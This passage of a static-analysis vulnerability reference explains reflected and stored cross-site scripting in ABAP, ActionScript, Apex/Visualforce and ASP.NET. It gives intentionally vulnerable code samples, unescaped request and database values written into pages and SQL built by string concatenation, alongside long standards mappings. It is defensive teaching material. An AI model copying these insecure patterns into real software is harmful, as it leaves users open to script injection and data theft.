...
response->append_cdata( 'Employee Name: ').
response->append_cdata( itab_employees-name ).
...


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] SAP OSS notes 1582870, 1582867 and related notes for ABAP XSS support
[2] SAP OSS Notes 822881, 1600317, 1640092, 1671470 and 1638779 for XSS support in BSPs
[3] Understanding Malicious Content Mitigation for Web Developers CERT
[4] HTML 4.01 Specification W3
[5] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[6] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[12] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[13] Standards Mapping - FIPS200 SI
[14] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[15] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[16] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[17] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[18] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[19] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[20] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[21] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2021 A03 Injection
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[38] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[40] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[41] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[64] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.abap.cross_site_scripting_reflected
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following ActionScript code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var eid:String = String(params["eid"]);
...
var display:TextField = new TextField();
display.htmlText = "Employee ID: " + eid;
...


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following ActionScript code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


stmt.sqlConnection = conn;
stmt.text = "select * from emp where id="+eid;
stmt.execute();
var rs:SQLResult = stmt.getResult();
if (null != rs) {
var name:String = String(rs.data[0]);
var display:TextField = new TextField();
display.htmlText = "Employee Name: " + name;
}


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.actionscript.cross_site_scripting_reflected
Abstract
Sending unvalidated data to the web browser may lead to the execution of malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, an untrusted source is most frequently a web request, and in the case of persistent (also known as stored) XSS it is the results of a database query.

2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content usually is a segment of JavaScript code, but can also be HML, Flash or any other active content that might be executed by the browser. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.


Example 1: The following Visualforce code segment reads an HTTP request parameter, username, and displays it to the user.


<script>
document.write('{!$CurrentPage.parameters.username}')
</script>


The code in this example was intended to receive only alphanumeric text and display it. However, if username contains metacharacters or source code, it will be executed by the web browser.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following Apex code segment queries a database for a contact name with a given ID and returns the corresponding employee's name, which later gets printed by the Visualforce code.


...
variable = Database.query('SELECT Name FROM Contact WHERE id = ID');
...

<div onclick="this.innerHTML='Hello {!variable}'">Click me!</div>


As in Example 1, this code behaves correctly when the values of name are well defined like just alphanumeric characters, but does nothing to check for malicious data. Even read from a database, the value should be properly validated because the content of the database can be originated from user-supplied data. This way, an attacker can have malicious commands executed in the user's web browser without the need to interact with the victim like in Reflected XSS. This type of attack, known as Stored XSS (or Persistent), can be very hard to detect since the data is indirectly provided to the vulnerable function and also have a higher impact due to the possibility to affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are two vectors by which an XSS attack can be executed:

- As in Example 1, data is read from the HTTP request and reflected back in the HTTP response. Reflected XSS occurs when an attacker can have dangerous content delivered to a vulnerable web application and then reflected back to the user and execute by his browser. The most common mechanism to deliver malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to the victim. URLs crafted this way are the core of many phishing schemes, where the attacker lures the victim to visit the URL. After the site reflects the content back to the user, it is executed and can perform several actions like forward private sensitive information, execute unauthorized operations on the victim computer etc.

- As in Example 2, the database or other data store can provide dangerous data to the application that will be included in dynamic content. From the attacker's perspective, the best place to store malicious content is an area accessible to all users specially those with elevated privileges, who are more likely to handle sensitive information or perform critical operations.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Salesforce Developers Technical Library Secure Coding Guidelines - Cross Site Scripting
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.apex.cross_site_scripting_reflected
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following ASP.NET Web Form reads an employee ID number from an HTTP request and displays it to the user.

<script runat="server">
...
EmployeeID.Text = Login.Text;
...
</script>


Where Login and EmployeeID are form controls defined as follows:


<form runat="server">
<asp:TextBox runat="server" id="Login"/>
...
<asp:Label runat="server" id="EmployeeID"/>
</form>
Example 2: The following ASP.NET code segment shows the programmatic way to implement Example 1.

protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;


The code in these examples operates correctly if Login contains only standard alphanumeric text. If Login has a value that includes metacharacters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks in order to lure victims into clicking a link. When the victims click the link, they unwittingly reflect the malicious content through the vulnerable web application and back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 3: The following ASP.NET Web Form queries a database for an employee with a given employee ID and prints the name corresponding with the ID.

<script runat="server">
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;
</script>


Where EmployeeName is a form control defined as follows:


<form runat="server">
...
<asp:Label id="EmployeeName" runat="server">
...
</form>
Example 4: The following ASP.NET code segment is functionally equivalent to Example 3, but implements all of the form elements programmatically.

protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;


